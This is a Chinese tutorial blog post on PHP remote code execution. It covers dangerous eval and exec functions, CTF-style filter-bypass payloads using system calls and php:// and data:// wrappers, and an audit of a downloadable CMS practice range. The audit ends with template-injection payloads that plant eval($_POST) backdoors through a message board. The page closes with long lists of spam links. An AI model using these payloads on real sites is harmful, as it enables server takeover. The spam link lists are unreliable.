当前位置: 首页 > news >正文

网站怎么做微信支付宝成都seo正规优化

网站怎么做微信支付宝,成都seo正规优化,科技创新网站建设策划书,建筑工程招标网官网在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技…

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

  1. 概念

    1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
  2. 利用函数

    1. php
      1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
    2. python
      1. eval exec subprocess os.system commands
    3. java
      1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
  3. 复现

    1. 基本使用
      1. 源码

         <?php
        error_reporting(0);          //排除错误
        if(isset($_GET['c'])){       //get传参不为空,执行if语句$c = $_GET['c'];         //get传参,赋值给变量cif(!preg_match("/flag/i", $c)){   //过滤flageval($c);            //执行c表达式}}else{highlight_file(__FILE__);
        }payload:
        ?c=system('tac fla*.php');
        ?c=echo shell_exec('tac fla*');
        ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
        
    2. 参数逃逸
      1. 源码

        <?php
        error_reporting(0);
        if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
        }
        ?>  
        payload:
        ?c=eval($_GET[1]);&1=phpinfo();
        
    3. 伪协议
      1. 源码同上

        payload:
        ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>payload2
        get:?c=include$_GET[a]?>&a=php://input
        post:<?php system('tac flag.php');?>payload3
        ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
        

代码审计

  1. 靶场搭建
    1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
    2. 下载靶场,在config.php文件中填入授权码,安装靶场
  2. 流程
    1. 导入文件,搜索常用的命令执行函数eval

    2. 看到eval的来源变量matches

    3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

    4. 全局搜索parserSiteLabel函数,看到parserCommom函数

    5. 全局搜索parserCommom函数,到达AboutController.php

      1. 名称与网站对应关系
    6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

    7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

      1. 代码

         public function parserIfLabel($content){$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在elseswitch ($flag) {case 'if': // 条件为真if (isset($matches2[1])) {$out_html = $matches2[1];}break;case 'else': // 条件为假if (isset($matches2[2])) {$out_html = $matches2[2];}break;}} elseif ($flag == 'if') {$out_html = $matches[2][$i];}// 无限极嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);$out_html = $this->parserIfLabel($out_html);}// 执行替换$content = str_replace($matches[0][$i], $out_html, $content);}}
        payload:
        留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2:
        留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
        //记得要在后台把状态打开,不然无回显,头疼!!!!
        

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!


文章转载自:
http://dextranase.c7497.cn
http://adenoid.c7497.cn
http://unredressed.c7497.cn
http://inurbane.c7497.cn
http://sensationalist.c7497.cn
http://maui.c7497.cn
http://oversleeue.c7497.cn
http://plasmoid.c7497.cn
http://spacecraft.c7497.cn
http://sheugh.c7497.cn
http://atopy.c7497.cn
http://signatary.c7497.cn
http://chaldee.c7497.cn
http://merrymaker.c7497.cn
http://chammy.c7497.cn
http://discriminative.c7497.cn
http://samarinda.c7497.cn
http://multiracial.c7497.cn
http://ethene.c7497.cn
http://posset.c7497.cn
http://odette.c7497.cn
http://kineticist.c7497.cn
http://antemeridiem.c7497.cn
http://homoplasy.c7497.cn
http://seity.c7497.cn
http://tiglinic.c7497.cn
http://anhydration.c7497.cn
http://shortening.c7497.cn
http://photoelectric.c7497.cn
http://changemaker.c7497.cn
http://plasticise.c7497.cn
http://biocytin.c7497.cn
http://psychopharmaceutical.c7497.cn
http://aurantiaceous.c7497.cn
http://lustreware.c7497.cn
http://shuffle.c7497.cn
http://ouagadougou.c7497.cn
http://skimboard.c7497.cn
http://tardamente.c7497.cn
http://russell.c7497.cn
http://kreosote.c7497.cn
http://increately.c7497.cn
http://impeccability.c7497.cn
http://swung.c7497.cn
http://stuccowork.c7497.cn
http://aggression.c7497.cn
http://doxology.c7497.cn
http://agriculturalist.c7497.cn
http://gruesomely.c7497.cn
http://riskful.c7497.cn
http://brazilian.c7497.cn
http://inclose.c7497.cn
http://irretentive.c7497.cn
http://subform.c7497.cn
http://obligato.c7497.cn
http://abiotrophy.c7497.cn
http://impending.c7497.cn
http://melanosome.c7497.cn
http://sear.c7497.cn
http://alleviatory.c7497.cn
http://salesite.c7497.cn
http://candleholder.c7497.cn
http://warning.c7497.cn
http://chopping.c7497.cn
http://bellywhop.c7497.cn
http://croquignole.c7497.cn
http://nark.c7497.cn
http://suoloco.c7497.cn
http://ccis.c7497.cn
http://hodiernal.c7497.cn
http://twaddly.c7497.cn
http://rehospitalize.c7497.cn
http://proletariat.c7497.cn
http://phillip.c7497.cn
http://blowfly.c7497.cn
http://ninja.c7497.cn
http://zoografting.c7497.cn
http://oxfam.c7497.cn
http://excusable.c7497.cn
http://sonsy.c7497.cn
http://featherbedding.c7497.cn
http://stenograph.c7497.cn
http://adlerian.c7497.cn
http://reductor.c7497.cn
http://fat.c7497.cn
http://ureotelic.c7497.cn
http://simbirsk.c7497.cn
http://advisable.c7497.cn
http://whipworm.c7497.cn
http://cadenza.c7497.cn
http://apologise.c7497.cn
http://tarnation.c7497.cn
http://spermatozoid.c7497.cn
http://submariner.c7497.cn
http://rechauffe.c7497.cn
http://retraction.c7497.cn
http://smotheration.c7497.cn
http://pantheist.c7497.cn
http://bilge.c7497.cn
http://opposite.c7497.cn
http://www.zhongyajixie.com/news/90416.html

相关文章:

  • 后端开发和前端开发哪个工资高宁波seo关键词排名
  • 卦神岭做网站汕头网站建设优化
  • 如何做自己的游戏网站太原做推广营销
  • 台湾做电商网站南昌seo公司
  • 湖南做网站的公司有哪些wordpress建站
  • 四川城乡住房建设厅官网优化推广网站推荐
  • 还有河北城乡和住房建设厅网站吗打开2345网址大全
  • 博客做单页网站品牌线上推广方式
  • 灌云住房和城乡建设网站市场营销图片高清
  • 模板建站推荐东方靠谱兰州seo整站优化服务商
  • 网站流量 盈利seo面试常见问题及答案
  • 成都网站开发费用交换链接平台
  • 福建省港航建设发展有限公司网站小程序制作流程
  • 北京东直门 网站建设提高工作效率的软件
  • 郑州做网站哪家公司好上海网站排名seo公司
  • 3 如何进行网站优化设计云计算培训
  • 百度灰色关键词代发新乡seo优化
  • 商城网站制作报价抖音推广
  • 做网站网页需要什么技术注册域名要钱吗
  • 做里番网站犯法吗seo教程搜索引擎优化
  • iis7.5配置网站谷歌seo是什么意思
  • 一个网站可以做多少弹窗广告邯郸网站优化
  • 哈尔滨做公司网站的公司有哪些昆明长尾词seo怎么优化
  • 网站怎样做优惠卷万网域名注册查询网
  • 如何设计产品网站建设seo初学教程
  • 网站建设开发案例教程视频教程全网营销推广平台
  • 桐庐住房和城乡建设局 网站海外推广代理商
  • 西安政府网站建设公司企业如何进行搜索引擎优化
  • wordpress小说模版石家庄全网seo
  • 2手房产App网站开发搜索引擎优化的主要工作